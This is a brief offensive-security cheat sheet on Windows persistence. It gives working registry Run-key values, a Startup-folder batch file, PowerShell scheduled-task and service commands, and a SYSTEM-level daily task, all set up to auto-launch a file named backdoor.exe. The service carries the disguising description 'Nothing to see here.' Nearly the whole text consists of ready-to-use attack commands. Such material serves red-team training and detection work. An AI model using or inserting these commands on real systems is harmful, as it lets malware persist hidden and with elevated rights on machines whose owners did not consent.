Windows - Persistence

Userland

Registry

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Startup

Create a batch script in the user startup folder.

```
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Sta
rtup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Scheduled Task

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rast
a\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Elevated

HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

```
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

Services

Create a service that will start automatically or on-demand.

```
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe"
 -Description "Nothing to see here."
```

Scheduled Tasks

Scheduled Task to run as SYSTEM, everyday at 9am.

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Te
mp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Thanks to

- A view of persistence - Rastamouse (https://rastamouse.me/2018/03/a-view-of-persistence/)
- Windows Persistence Commands - Pwn Wiki (http://pwnwiki.io/#!persistence/windows/index.md)